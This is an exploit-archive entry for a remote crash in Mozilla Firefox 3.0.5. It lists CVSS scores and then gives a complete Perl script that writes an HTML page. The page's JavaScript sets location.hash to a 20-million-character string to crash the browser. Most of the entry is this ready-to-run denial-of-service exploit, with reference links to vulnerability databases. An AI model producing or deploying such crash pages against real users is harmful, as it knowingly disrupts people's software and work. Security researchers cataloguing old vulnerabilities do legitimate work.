Mozilla Firefox 3.0.5 location.hash Remote Crash Exploit

2008.12.26
Credit: Jeremy Brown
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/perl # mzff_lhash_dos.pl # Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit # Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com] # Crash on Vista, play with it on XP $filename = $ARGV[0]; if(!defined($filename)) { print "Usage: $0 <filename.html>\n\n"; } $head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n"; $trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n"; $foot = "</script>" . "\n" . "</html>"; $data = $head . $trig . $foot; open(FILE, '>' . $filename); print FILE $data; close(FILE); exit;

References:

http://www.securityfocus.com/bid/32988
http://www.milw0rm.com/exploits/7554


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